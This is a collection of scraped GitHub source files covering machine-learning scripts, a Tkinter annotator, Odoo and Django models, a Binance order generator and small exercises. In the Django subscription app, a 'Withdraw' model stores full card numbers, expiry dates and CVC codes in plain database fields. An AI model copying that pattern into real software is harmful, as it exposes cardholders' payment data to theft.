class_predicted = model.predict_classes(bottleneck_prediction)\n probabilities = model.predict_proba(bottleneck_prediction)\n\n inID = class_predicted[0]\n\n inv_map = {v: k for k, v in class_dictionary.items()}\n\n label = inv_map[inID]\n\n # get the prediction label\n print(\"Image ID: {}, Label: {}, Probability {}\".format(inID, label, probabilities[0][inID]))\n\n # display the predictions with the image\n cv2.putText(orig, \"Predicted: {}\".format(label), (10, 30),\n cv2.FONT_HERSHEY_PLAIN, 1.5, (43, 99, 255), 2)\n\n K.clear_session()\n\n # cv2.imwrite(\"statistics/\" + img_name, orig)\n cv2.destroyAllWindows()\n if probabilities[0][inID] > 0.5:\n return label\n else:\n return \"Nem tudom talán \" + label + \" (\" + str(probabilities[0][inID]) + \"%)\"\n\n def print_graph_nodes(self, filename):\n import tensorflow as tf\n g = tf.GraphDef()\n g.ParseFromString(open(filename, 'rb').read())\n print()\n print(filename)\n print(\"=======================INPUT=========================\")\n print([n for n in g.node if n.name.find('input') != -1])\n print(\"=======================OUTPUT========================\")\n print([n for n in g.node if n.name.find('output') != -1])\n print(\"===================KERAS_LEARNING=====================\")\n print([n for n in g.node if n.name.find('keras_learning_phase') != -1])\n print(\"======================================================\")\n print()\n\n def model_to_graph(self):\n train_data = np.load(self.bottleneck_train_features)\n prefix_output_node_names_of_final_network = 'output_node'\n class_dictionary = np.load(self.class_indices).item()\n inv_map = {v: k for k, v in class_dictionary.items()}\n\n node_names = list(inv_map.values())\n num_classes = len(node_names)\n\n bottleneck_model_name = \"bottleneck_graph.pb\"\n bottleneck_model_name_txt = \"bottleneck_graph.pbtxt\"\n bottleneck_model = applications.VGG16(include_top=False, weights='imagenet')\n\n top_mode_name = \"top_graph.pb\"\n top_mode_name_txt = \"top_graph.pbtxt\"\n train_data = np.load(self.bottleneck_train_features)\n model = Sequential()\n model.add(Flatten(input_shape=train_data.shape[1:], name=\"csakmert\"))\n model.add(Dense(256, activation='relu', kernel_regularizer=regularizers.l2(0.01)))\n model.add(Dense(num_classes, activation='softmax'))\n\n model.compile(optimizer=RMSprop(lr=0.0001),\n loss='categorical_crossentropy', metrics=['accuracy'])\n model.load_weights(self.top_model_weights)\n\n K.set_learning_phase(0)\n\n print('output nodes names are: ', node_names)\n\n sess = K.get_session()\n\n [print(node.op.name) for node in bottleneck_model.outputs]\n [print(node.op.name) for node in bottleneck_model.inputs]\n print(bottleneck_model.input_shape)\n print(bottleneck_model.output_shape)\n graph_def = sess.graph.as_graph_def()\n bottle_constant_graph = graph_util.convert_variables_to_constants(sess, sess.graph.as_graph_def(),\n [node.op.name for node in\n bottleneck_model.outputs])\n graph_io.write_graph(bottle_constant_graph, \"model/\", bottleneck_model_name, as_text=False)\n graph_io.write_graph(bottle_constant_graph, \"model/\", bottleneck_model_name_txt, as_text=True)\n print('saved the bottom constant graph (ready for inference) at: ', osp.join(\"model/\", bottleneck_model_name))\n\n K.clear_session()\n\n [print(node.op.name) for node in model.outputs]\n [print(node.op.name) for node in bottleneck_model.inputs]\n print(model.input_shape)\n print(model.output_shape)\n graph_def = sess.graph.as_graph_def()\n top_constant_graph = graph_util.convert_variables_to_constants(sess, sess.graph.as_graph_def(),\n [node.op.name for node in model.outputs])\n graph_io.write_graph(top_constant_graph, \"model/\", top_mode_name, as_text=False)\n graph_io.write_graph(top_constant_graph, \"model/\", top_mode_name_txt, as_text=True)\n print('saved the top constant graph (ready for inference) at: ', osp.join(\"model/\", top_mode_name))\n","repo_name":"banda13/Carrecognizer","sub_path":"classifiers/old/classifiers_cnn3.py","file_name":"classifiers_cnn3.py","file_ext":"py","file_size_in_byte":14700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23480798654","text":"from tkinter import *\nfrom PIL import Image, ImageTk\nimport json\nimport numpy as np\nimport numpy as np\nfrom PIL import Image\nfrom pathlib import Path\nfrom scipy.io import readsav\nimport csv\n\ndef next_photo(event):\n global current_photo_index\n current_photo_index = (current_photo_index + 1) % len(photos)\n if current_photo_index == len(photos) - 1:\n print(\"Done!\")\n photo = ImageTk.PhotoImage(image=Image.fromarray(photos[current_photo_index]))\n photo = photo._PhotoImage__photo.zoom(4)\n w.configure(image=photo)\n w.image = photo\n\ndef previous_photo(event):\n global current_photo_index\n current_photo_index = (current_photo_index - 1) % len(photos)\n photo = ImageTk.PhotoImage(image=Image.fromarray(photos[current_photo_index]))\n photo = photo._PhotoImage__photo.zoom(4)\n w.configure(image=photo)\n w.image = photo\n\ndef callback(event):\n print(\"clicked at\", event.x, event.y)\n coordinates.append((event.x, event.y))\n\n # Dump coordinates and photo index to file\n with open(out_file, \"a\", newline='') as file:\n writer = csv.writer(file)\n writer.writerow([current_photo_index, event.x, event.y])\n \nroot = Tk()\n\nfile_idx = 6\ntv_image_path = Path('tv_images')\noutput_path = Path('xr_points')\nfiles = sorted(tv_image_path.glob('*.sav'))\nfile = files[file_idx]\nout_file = output_path / Path(file.stem).with_suffix('.csv')\nprint(file)\nphotos_raw = readsav(file)['emission_structure'][0][0]\nphotos=(255*(photos_raw-np.min(photos_raw))/(np.max(photos_raw)-np.min(photos_raw))).astype('uint8')\n\ncurrent_photo_index = 1\nphoto = ImageTk.PhotoImage(image=Image.fromarray(photos[current_photo_index]))\nphoto = photo._PhotoImage__photo.zoom(4)\nw = Label(root, image=photo)\nw.pack()\n\ncoordinates = []\n\nroot.bind(\"\", next_photo)\nroot.bind(\"\", previous_photo)\nw.bind(\"\", callback)\n\nroot.mainloop()","repo_name":"PlasmaControl/plasma-tv","sub_path":"manual_points.py","file_name":"manual_points.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13902456471","text":"from medical import Patient\nfrom sys import exit\n\n\"\"\"\nAuthor: Joseph Lawton-Curtis\nClass: CSI-260-01\nAssignment: Week 4 Lab\nDue Date: February 13, 2019 11:59 PM\n\nCertification of Authenticity:\nI certify that this is entirely my own work, except where I have given\nfully-documented references to the work of others. I understand the definition\nand consequences of plagiarism and acknowledge that the assessor of this\nassignment may, for the purpose of assessing this assignment:\n- Reproduce this assignment and provide a copy to another member of academic\n- staff; and/or Communicate a copy of this assignment to a plagiarism checking\n- service (which may then retain a copy of this assignment on its database for\n- the purpose of future plagiarism checking)\n\"\"\"\n\n\n\nmenu = \"\"\"\n1. Look up a patient by an ID number.\n2. Add a new patient\n3. Save patients\n4. Load patients\n5. Quit\n\nSelect by entering the corresponding number and hitting \"Enter\"\n \"\"\"\npatient_file_name = str(input(\"what is the files name? if no name specified the default will be 'default'\"))\nif patient_file_name == \"\": patient_file_name = \"default\"\nprint(patient_file_name)\ntry:\n if patient_file_name:\n Patient.load_patients(patient_file_name)\nexcept FileNotFoundError:\n print(\"file not found, if this is the first time using this program do not worry\")\n\n\ndef exit_program_or_save(exit_option):\n if patient_file_name:\n Patient.save_patients(patient_file_name)\n else:\n Patient.save_patients(input(\"What would you like to name the file?\"))\n if exit_option:\n exit()\n pass\n\n\ndef search():\n pid = int(input(\"Patient ID\"))\n print(Patient.get_patient(pid))\n\n\ndef add():\n name = input(\"input patient name\")\n age = int(input(\"input patient age\"))\n Patient(name, age)\n\n\ndef save_data():\n exit_program_or_save(False)\n\n\ndef load():\n Patient.load_patients(patient_file_name)\n\n\ndef exit_program():\n exit_program_or_save(True)\n\n\noptions = {1: search,\n 2: add,\n 3: save_data,\n 4: load,\n 5: exit_program\n }\n\nx = int(input(menu))\nwhile True:\n try:\n if x:\n options[x]()\n except Exception:\n print(Exception.__str__())\n x = int(input(menu))\n\n\n\n\n","repo_name":"LosephCawtonJurtis/Medical_Project","sub_path":"BWeek4.py","file_name":"BWeek4.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34896262818","text":"import time\nimport logging\n# import threading\nfrom odoo import api, fields, models\nfrom odoo.models import MAGIC_COLUMNS\nfrom . import odoo_proxy\nfrom . import synchro_data\n\n_logger = logging.getLogger(__name__)\n\n\nclass BaseSynchroObjLine(models.Model):\n \"\"\"Class to store object line in base synchro.\"\"\"\n _name = \"synchro.obj.line\"\n _description = \"Synchronized record\"\n\n @api.model\n def _selection_target_model(self):\n models = self.env['ir.model'].search([])\n return [(model.model, model.name) for model in models]\n\n name = fields.Datetime(\n string='Date',\n required=True,\n default=lambda *args: time.strftime('%Y-%m-%d %H:%M:%S')\n )\n obj_id = fields.Many2one(\n 'synchro.obj',\n string='Object',\n required=True,\n ondelete='SET DEFAULT',\n index=True\n )\n description = fields.Char('description')\n local_id = fields.Integer(string='Local ID', index=True)\n remote_id = fields.Integer(string='Remote ID', index=True)\n server_id = fields.Many2one(related='obj_id.server_id', store=True)\n model_id = fields.Integer(related='obj_id.model_id.id', store=True, index=True)\n\n todo = fields.Boolean('Todo')\n error = fields.Char(\"Error\")\n update_date = fields.Datetime(string='Latest update')\n remote_write_date = fields.Datetime(string='Latest remote write')\n removed = fields.Boolean(default=False, string=\"Removed on remote\")\n resource_ref = fields.Reference(string='Record', selection='_selection_target_model',\n compute='_compute_resource_ref')\n\n @api.depends('obj_id', 'local_id')\n def _compute_resource_ref(self):\n for line in self:\n model_name = line.obj_id.model_id.model or False\n if model_name:\n line.resource_ref = '%s,%s' % (model_name, line.local_id or 0)\n else:\n line.resource_ref = False\n\n @api.onchange('local_id', 'remote_id')\n def onchange_local_id(self):\n if self.local_id and self.remote_id:\n self.todo = False\n else:\n self.todo = True\n\n def update_values(self):\n \"\"\"\" Rewrite value\"\"\"\n group_obj = {}\n # group by object\n for line in self:\n if line.obj_id not in list(group_obj.keys()):\n group_obj[line.obj_id] = [line.remote_id]\n else:\n group_obj[line.obj_id].append(line.remote_id)\n\n for obj in list(group_obj.keys()):\n remote_values = obj.remote_read(group_obj[obj])\n obj.write_local_value(remote_values)\n _logger.info('synchro:\\n%s' % remote_values)\n\n\n\n\n\n","repo_name":"dkgroup-organization/hennart","sub_path":"db_synchro/models/synchro_obj_line.py","file_name":"synchro_obj_line.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8125030577","text":"from django.db import models\r\nfrom django.utils import timezone\r\nfrom django.contrib.auth import get_user_model\r\nfrom django.utils.translation import gettext_lazy as _\r\n\r\n\r\nclass Payment(models.Model):\r\n \"\"\"Model where we store stripe charges\"\"\"\r\n stripe_charge_id = models.CharField(max_length=50)\r\n user = models.ForeignKey(get_user_model(),\r\n on_delete=models.SET_NULL, blank=True, null=True)\r\n amount = models.DecimalField(max_digits=5, decimal_places=2)\r\n timestamp = models.DateTimeField(auto_now_add=True)\r\n\r\n def __str__(self):\r\n return self.stripe_charge_id\r\n\r\n\r\nclass Subscription(models.Model):\r\n \"\"\"Type of subscriptions on the website\"\"\"\r\n\r\n class SubscriptionType(models.TextChoices):\r\n BASIC = 'Basic', _('Basic')\r\n Premium = 'Premium', _('Premium')\r\n\r\n name = models.CharField(max_length=100, choices=SubscriptionType.choices)\r\n price = models.DecimalField(max_digits=5, decimal_places=2)\r\n discount_price = models.DecimalField(max_digits=5, decimal_places=2,\r\n default=0, blank=True, null=True)\r\n currency = models.TextField(max_length=3, default='USD', editable=False)\r\n \r\n trial_period = models.PositiveIntegerField(default=0, help_text='(days)')\r\n max_categories_stored = models.PositiveIntegerField(default=0,\r\n help_text='0 means infinity')\r\n max_bookmarks_in_one_category = models.PositiveIntegerField(default=0,\r\n help_text='0 means infinity')\r\n\r\n is_discountable = models.BooleanField(default=False)\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n @property\r\n def is_free(self):\r\n return self.price == 0\r\n\r\n\r\nclass SubscriptionFeature(models.Model):\r\n subscription = models.ForeignKey(Subscription, on_delete=models.CASCADE,\r\n related_name='features')\r\n name = models.CharField(max_length=255, blank=True)\r\n description = models.CharField(max_length=255)\r\n\r\n def __str__(self):\r\n return self.subscription.name\r\n\r\n\r\nclass UserSubscription(models.Model):\r\n \"\"\"Model to store subscription details for user\"\"\"\r\n user = models.OneToOneField(get_user_model(), on_delete=models.CASCADE,\r\n related_name='sub')\r\n subscription = models.ForeignKey(Subscription, on_delete=models.CASCADE)\r\n started = models.DateField(auto_now_add=True)\r\n expires = models.DateField(null=True, blank=True)\r\n trial = models.BooleanField(default=False)\r\n\r\n @property\r\n def is_expired(self):\r\n expire_date = self.expires\r\n if expire_date > timezone.now().date():\r\n return False\r\n else:\r\n return True\r\n\r\n def __str__(self):\r\n return self.user.username\r\n\r\n\r\nclass Withdraw(models.Model):\r\n \"\"\"Model for card details of user who requested a withdrawal from his wallet\"\"\"\r\n user = models.ForeignKey(get_user_model(), on_delete=models.CASCADE)\r\n card_number = models.DecimalField(max_digits=16, decimal_places=0)\r\n expiry_date = models.DateField()\r\n name = models.CharField(max_length=100)\r\n cvc = models.DecimalField(max_digits=3, decimal_places=0)\r\n withdrawal_date = models.DateField(auto_now_add=True)\r\n amount = models.DecimalField(max_digits=6, decimal_places=0, default=0)\r\n\r\n def __str__(self):\r\n return self.name\r\n","repo_name":"wildcod/Bukmarkz2.0","sub_path":"subscription/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22426482679","text":"import datetime\nfrom typing import Optional\nfrom custom_lib.treelib import Tree\n\n\ndef format_map_grouped_result(\n res: list, fisrt_group_names: Optional[dict], second_group_names: dict\n):\n res_dict = {}\n\n for item in res:\n first_name = (\n fisrt_group_names[item[0]] if (fisrt_group_names is not None) else (item[0])\n )\n second_name = second_group_names[item[1]]\n\n res_dict.setdefault(first_name, {})\n res_dict[first_name].setdefault(\"status\", {})\n res_dict[first_name][\"status\"].setdefault(second_name, item[2])\n\n if res_dict.get(\"geo\") is None:\n res_dict[first_name][\"geo\"] = [item[4], item[3]]\n return res_dict\n\n\ndef format_timediff_result(res: list, time_after: str, interval: int):\n time_list = []\n res_list = []\n initial_time = datetime.datetime.strptime(time_after, \"%Y-%m-%d %H:%M:%S\")\n\n for item in res:\n time_list.append(\n (initial_time + datetime.timedelta(days=interval * item[\"diff\"])).strftime(\n \"%Y-%m-%d %H:%M:%S\"\n )\n )\n res_list.append(item[\"avg\"])\n return {\"time_list\": time_list, \"res_list\": res_list}\n\n\ndef tree_list_format(items: list):\n tree = Tree()\n tree.create_node(tag=\"root\", identifier=\"root\")\n items = [dict(row) for row in items]\n for item in items:\n # For tree table editable fields\n item = {**item, \"originalSTtime\": item[\"st_time\"], \"edit\": False}\n tree.create_node(data=item, identifier=item[\"id\"], parent=\"root\")\n\n for node in tree.expand_tree(mode=Tree.WIDTH):\n if node != \"root\":\n if tree[node].data[\"parent_id\"]:\n tree.move_node(node, tree[node].data[\"parent_id\"])\n return tree.to_dict(with_data=True)[\"children\"]\n","repo_name":"peilion/OP-backend","sub_path":"services/query_processors/asset.py","file_name":"asset.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"3318527671","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport json\nimport logging\nimport logging.config\nimport numpy as np\nfrom sklearn import metrics\nfrom matplotlib import pyplot as plt\nimport pdb\nfor path in [\n 'data_utils',\n 'models',\n 'learners'\n]:\n sys.path.append(\n os.path.join(\n os.path.dirname(os.path.dirname(\n os.path.realpath(__file__))),\n path))\nfrom datasets import get_3lines_2_data\nfrom models import get_svr\nfrom generic_trainers import trainer\nfrom generic_predictors import predictor\n\n\ndef params_tune(C, Gamma,\n X_train, Y_train,\n X_valid, Y_valid,\n args, logger):\n '''\n Tune parameters (C, gamma).\n\n Parameters\n ----------\n C: List[float]\n Gamma: List[float]\n X_*: np.array[float]\n Y_*: np.array[float]\n args: dict\n logger: logger object\n '''\n opts = args['svr']\n\n mae_best = 1e9\n\n i_best = 0\n j_best = 0\n i = 0\n for c in C:\n j = 0\n for gm in Gamma:\n logger.info('*' * 50)\n logger.info('C = {:.4f} Gamma = {:.4f}'.\n format(c, gm))\n\n model_params = {\"kernel\": opts['kernel'],\n \"gamma\": gm,\n \"C\": c}\n model = get_svr(model_params)\n\n model, params = trainer((X_train, Y_train), model)\n\n Yp_train = predictor(X_train, model)\n Yp_valid = predictor(X_valid, model)\n\n mae_train = metrics.mean_absolute_error(Y_train, Yp_train)\n mae_valid = metrics.mean_absolute_error(Y_valid, Yp_valid)\n rmse_train = np.sqrt(metrics.mean_squared_error(Y_train, Yp_train))\n rmse_valid = np.sqrt(metrics.mean_squared_error(Y_valid, Yp_valid))\n\n if mae_valid < mae_best:\n mae_best = mae_valid\n i_best = i\n j_best = j\n\n logger.info('Train MAE = {:.4f} RMSE = {:.4f}'.\n format(mae_train, rmse_train))\n logger.info('Valid MAE = {:.4f} RMSE = {:.4f}'.\n format(mae_valid, rmse_valid))\n j += 1\n\n i += 1\n\n logger.info('=' * 50)\n c_best = C[i_best]\n gm_best = Gamma[j_best]\n logger.info('Best Valid MAE = {:.4f} with C = {:.4f} Gamma = {:.4f}'.\n format(mae_best, c_best, gm_best))\n\n\n# Parse arguments\nif len(sys.argv) < 2:\n print('python {} configure.json'.format(sys.argv[0]))\n sys.exit(-1)\n\nwith open(sys.argv[1], 'r') as f:\n args = json.load(f)\n\nnp.random.seed(args['random_seed'])\n\n# Log\nif not os.path.exists(args['log_dir']):\n os.makedirs(args['log_dir'])\n\nlog_file = os.path.join(args['log_dir'], args['log_file'])\nif os.path.isfile(log_file): # remove existing log\n os.remove(log_file)\n\nlogging.config.dictConfig(args['log']) # setup logger\nlogger = logging.getLogger('main')\n\n# Data\nlogger.info('Loading & preparing data')\nopts = args['3lines_2']\nX_train, Y_train = get_3lines_2_data(\n os.path.join(opts['path'], opts['train']['file'])\n)\nX_test, Y_test = get_3lines_2_data(\n os.path.join(opts['path'], opts['test']['file'])\n)\n\ntrain_opts = args['train']['svr']\nif train_opts['parameter_tuning'] is True: # tuning\n\n N = X_train.shape[0]\n num_train = int(np.floor(N * train_opts['valid_split']))\n idx = list(range(N))\n X_train_new = np.take(X_train, idx[:num_train], axis=0)\n Y_train_new = np.take(Y_train, idx[:num_train], axis=0)\n X_valid = np.take(X_train, idx[num_train:], axis=0)\n Y_valid = np.take(Y_train, idx[num_train:], axis=0)\n\n params_tune(train_opts['C'], train_opts['Gamma'],\n X_train_new, Y_train_new,\n X_valid, Y_valid,\n args, logger)\n\nelse: # normal training\n\n # Model\n logger.info('Building model')\n model = get_svr(args['svr'])\n\n # Train\n logger.info('Training')\n model, params = trainer((X_train, Y_train), model)\n\n # Test\n logger.info('Testing')\n Yp_train = predictor(X_train, model)\n Yp_test = predictor(X_test, model)\n\n # Metrics\n mae_train = metrics.mean_absolute_error(Y_train, Yp_train)\n mae_test = metrics.mean_absolute_error(Y_test, Yp_test)\n rmse_train = np.sqrt(metrics.mean_squared_error(Y_train, Yp_train))\n rmse_test = np.sqrt(metrics.mean_squared_error(Y_test, Yp_test))\n\n # Log\n logger.info('*' * 50)\n logger.info('Train MAE = {:.4f} RMSE = {:.4f}'.\n format(mae_train, rmse_train))\n logger.info('Test MAE = {:.4f} RMSE = {:.4f}'.\n format(mae_test, rmse_test))\n\n # Plot data\n fig = plt.figure(figsize=(6, 6))\n ax1 = fig.add_subplot(111)\n ax1.scatter(X_train, Y_train, s=2, c='b', marker='.')\n ax1.scatter(X_train, Yp_train, s=2, c='r', marker='+')\n ax1.axis('tight')\n ax1.tick_params(axis='both', which='major', labelsize=12)\n ax1.set_xlabel('x', fontsize=12)\n ax1.set_ylabel('y', fontsize=12)\n ax1.legend(('original', 'pred'), loc='best', fontsize=11)\n plt.tight_layout()\n # plt.savefig('3lines_2_svr_train.pdf')\n\n fig = plt.figure(figsize=(6, 6))\n ax1 = fig.add_subplot(111)\n ax1.scatter(X_test, Y_test, s=2, c='b', marker='.')\n ax1.scatter(X_test, Yp_test, s=2, c='r', marker='+')\n ax1.axis('tight')\n ax1.tick_params(axis='both', which='major', labelsize=12)\n ax1.set_xlabel('x', fontsize=12)\n ax1.set_ylabel('y', fontsize=12)\n ax1.legend(('original', 'pred'), loc='best', fontsize=11)\n plt.tight_layout()\n # plt.savefig('3lines_2_svr_test.pdf')\n\nlogger.info('=' * 50)\nlogger.info('Parameters & settings')\nlogger.info(args)\n","repo_name":"waynezv/tree","sub_path":"src/master_scripts/3lines_2_svr.py","file_name":"3lines_2_svr.py","file_ext":"py","file_size_in_byte":5672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"22941434827","text":"import multiprocessing as mp\nimport os\nfrom typing import List\n\nimport numpy as np\nimport tqdm\n\nfrom data import LIN_SPEC_SAVE_DIR, MEL_SPEC_SAVE_DIR\nfrom data.audio import AudioProcessingHelper\n\n\ndef get_audio_list(audio_root: str) -> List[str]:\n \"\"\"Get list of audio files in audio_root\"\"\"\n return [filename for filename in os.listdir(audio_root)\n if os.path.splitext(filename)[1] == '.wav']\n\n\ndef generate_from_audiofile(audio_file: str):\n \"\"\"Generate a pair of mel and log spectrogram from a single audio file\"\"\"\n input_spec = AudioProcessingHelper.audio_file_to_specs(audio_file)\n\n # save log spectrogram\n np.save(os.path.join(LIN_SPEC_SAVE_DIR, input_spec.id),\n input_spec.log_lin_spec)\n\n # save mel spectrogram\n np.save(os.path.join(MEL_SPEC_SAVE_DIR, input_spec.id),\n input_spec.log_mel_spec)\n\n\ndef generate_lj_speech_specs(audio_root: str,\n num_workers: int = 1) -> None:\n \"\"\"\n Generate spectrograms required for LJ Speech dataset. The directories\n in which the spectrograms are saved can be described as follows:\n\n dataset\n |- mel_spec\n |- LJ001-0001.npy\n |- LJ001-0002.npy\n |- LJ001-0003.npy\n ...\n\n |- lin_spec\n |- LJ001-0001.npy\n |- LJ001-0002.npy\n |- LJ001-0003.npy\n ...\n\n Args:\n audio_root: root directory in which audio files for the LJ Speech\n dataset are saved\n num_workers: number of processes to use when generating the spectrograms\n \"\"\"\n\n if not os.path.exists(LIN_SPEC_SAVE_DIR):\n os.makedirs(LIN_SPEC_SAVE_DIR)\n\n if not os.path.exists(MEL_SPEC_SAVE_DIR):\n os.makedirs(MEL_SPEC_SAVE_DIR)\n\n audio_list = [os.path.join(audio_root, filename)\n for filename in get_audio_list(audio_root)]\n\n with mp.Pool(num_workers) as pool:\n for _ in tqdm.tqdm(\n pool.imap_unordered(generate_from_audiofile, audio_list),\n total=len(audio_list),\n desc='Generating Spectrogram for LJSpeech'):\n pass\n\n\nif __name__ == '__main__':\n from argparse import ArgumentParser\n\n p = ArgumentParser()\n p.add_argument('--audio_root', type=str,\n default=os.path.join('dataset', 'LJSpeech-1.1', 'wavs'))\n p.add_argument('--num_workers', type=int, default=1)\n args = p.parse_args()\n\n generate_lj_speech_specs(audio_root=args.audio_root,\n num_workers=args.num_workers)\n","repo_name":"crissed53/tacotron","sub_path":"gen_dataset.py","file_name":"gen_dataset.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74121283986","text":"# https://atcoder.jp/contests/abl/submissions/17020679\n# A - Repeat ACL\nimport sys\n\nsys.setrecursionlimit(10 ** 7)\ninput = sys.stdin.readline\nf_inf = float('inf')\nmod = 10 ** 9 + 7\n\n\ndef resolve():\n k = int(input())\n res = \"\"\n for _ in range(k):\n res += \"ACL\"\n print(res)\n\nif __name__ == '__main__':\n resolve()\n","repo_name":"happa64/AtCoder_Beginner_Contest","sub_path":"ABC/ACLBC/ACLBC_A.py","file_name":"ACLBC_A.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"857866452","text":"import pyautogui\nimport time\nimport DataFetcher\nfrom data import Defaults\n# import modulex as mx\n# from mxproxy import mx\n\n\ndef gen_orders(\n\tsymbol='SANDUSDT',\n\tsize=1,\n\tsizeAccleration=1,\n\tdelta='2%',\n\tsltpRatio=3,\n\taccleration=0,\n\tstepsize='1%',\n\tcount=5,\n\tdirection='long',\n\troundoff=1\n\t):\n\t''' \n\tgenerates list of orders which is then executed via gui bot\n\tlastPrice: \tcurrent price of cryptocurrency instrument ,\n\tdelta:\t \tdelta for buy and sell margin ,\n\tsltpRatio: ratio between take profit and stop loss,\n\tdirection: \tvalid(long,short) ,\n\tcount: \t\tamount of orders to be generated ,\n\tstepPercent: sliding window step ,\n\taccleration : accleration in % for step stepsize.,\n\tsizeAccleration : sizeAccleration integer for order size,\n\troundoff\t: rounds off to nth place\n\tmardelRatio : margin to delta ratio\n\ttrigPrice: \tis slghtly away from mark price in the long/short direction when price reached, \n\t\t\t\texecuts order with delta mergin.,\n\t'''\n\tlastPrice = round(DataFetcher.get_lastprice(symbol), roundoff)\n\t# print({'lastPrice':lastPrice,'roundoff':roundoff})\n\n\tif '%' in str(delta):\n\t\tdelta = (lastPrice / 100) * float(delta[0:-1])\n\tif '%' in str(stepsize):\n\t\tstepsize = (lastPrice / 100) * float(stepsize[0:-1])\n\n\tdelta = round(float(delta), roundoff)\n\tstepsize = round(float(stepsize), roundoff)\n\tsizeAccleration = float(sizeAccleration)\n\tcount = int(count)\n\n\tadaptiveStep = round(stepsize * (accleration / 100), 3)\n\torderlist = []\n\tfor i in range(count):\n\t\t# print('TRACER',orderlist)\n\t\tif direction == 'short':\n\t\t\tsigma = round(stepsize * (i + 1), roundoff)\n\t\t\tmarketSpread = f'{round((sigma/lastPrice)*100,1)}%'\n\t\t\tstepsize += adaptiveStep\n\t\t\ttrigPrice = round(lastPrice + sigma, roundoff)\n\t\t\torderlist.append({\n\t\t\t\t\t\t\t\t'symbol':symbol,\n\t\t\t\t\t\t\t\t'trigPrice': format(trigPrice,'.4f'),\n\t\t\t\t\t\t\t\t'takeProfit': round(trigPrice - delta, roundoff),\n\t\t\t\t\t\t\t\t'stopLoss': round(trigPrice + delta*sltpRatio, roundoff),\n\t\t\t\t\t\t\t\t'stepDeltaRatio': f'{round(stepsize,3):<4}|{delta}',\n\t\t\t\t\t\t\t\t'Spread': f'{marketSpread}|{sigma:4}',\n\t\t\t\t\t\t\t\t'direction': direction,\n\t\t\t\t\t\t\t\t'size': size + (sizeAccleration * i)\n\t\t\t\t\t\t\t})\n\n\t\tif direction == 'long':\n\t\t\tsigma = round(stepsize * (i + 1), roundoff)\n\t\t\tmarketSpread = f'{round((-sigma/lastPrice)*100,1)}%'\n\t\t\tstepsize += adaptiveStep\n\t\t\ttrigPrice = round(lastPrice - sigma, roundoff)\n\t\t\torderlist.append({\n\t\t\t\t\t\t\t\t'symbol':symbol,\n\t\t\t\t\t\t\t\t'trigPrice': format(trigPrice,'.4f'),\n\t\t\t\t\t\t\t\t'takeProfit': round(trigPrice + delta, roundoff),\n\t\t\t\t\t\t\t\t'stopLoss': round(trigPrice - delta*sltpRatio, roundoff),\n\t\t\t\t\t\t\t\t'stepDeltaRatio': f'{round(stepsize,3):<4}|{delta}',\n\t\t\t\t\t\t\t\t'Spread': f'{marketSpread}|{sigma:4}',\n\t\t\t\t\t\t\t\t'direction': direction,\n\t\t\t\t\t\t\t\t'size': size + (sizeAccleration * i)\n\t\t\t\t\t\t\t})\n\n\treturn orderlist\n\n\nif __name__ == '__main__':\n\t# import BinanceFuturesOrderGUI as GUIAPP\n\n\t# pyautogui.moveTo(x=1064, y=468)\n\t# pyautogui.press('tab',presses=2,interval=0.25)\n\t# pyautogui.moveTo(x=1189, y=468)\n\t# position_prober()\n\n\tords = gen_orders(**Defaults.SANDUSDT,direction='short')\n\t[print(o) for o in ords]\n\n\tRULES = '''\n\t#TRADING RULES \n\t#---STEP SIZE 1.5X DELTA\n\t#---STEP SIZE ~1% of current price\n\t#---DELTA ~1% of current price\n\t\t>>> if market is 66%red in last 10 candles then buy and viceversa for sell\n\t\t>>> close all python generated orders before placing new python order\n\t'''\n","repo_name":"BinarySwami-10/BOT_Binance","sub_path":"OrderMaker.py","file_name":"OrderMaker.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8688249325","text":"# cook your dish here\n# cook your dish he\n\nctest = str(input())\n\nccount = {'C':0,'CH':0,'CHE':0,'CHEF':0}\n\nfor i in range(len(ctest)):\n\n if ctest[i]=='C': ccount['C']+=1\n\n elif ctest[i]=='H' and ccount['C']>ccount['CH']: ccount['CH']+=1\n\n elif ctest[i]=='E' and ccount['CH']>ccount['CHE']: ccount['CHE']+=1\n\n elif ctest[i]=='F' and ccount['CHE']>ccount['CHEF']: ccount['CHEF']+=1\n\n#print(ccount)\n\nprint(ccount['CHEF'])","repo_name":"dhruv-gautam16/Code_Chef-Contest-","sub_path":"CHRL2.py","file_name":"CHRL2.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"72762410067","text":"import transfer as tr\n\n\ndef deposit(account_balance=0):\n pass\n\n\ndef withdraw(account_balance=0):\n pass\n\n\ndef transfer_type(account_balance=0):\n print(account_balance)\n options = {\n 1: tr.domestic,\n 2: tr.other_local_banks,\n 3: tr.international_transfer,\n 4: tr.mobile_money\n }\n option = int(input('Select transfer type:\\n1. Domestic\\n2. Other Local Bank\\n3. International Transfer\\n4. Mobile '\n 'Money Transfer'))\n if option <= 0 or option >= 5:\n print('Invalid input')\n transfer_type(account_balance)\n else:\n 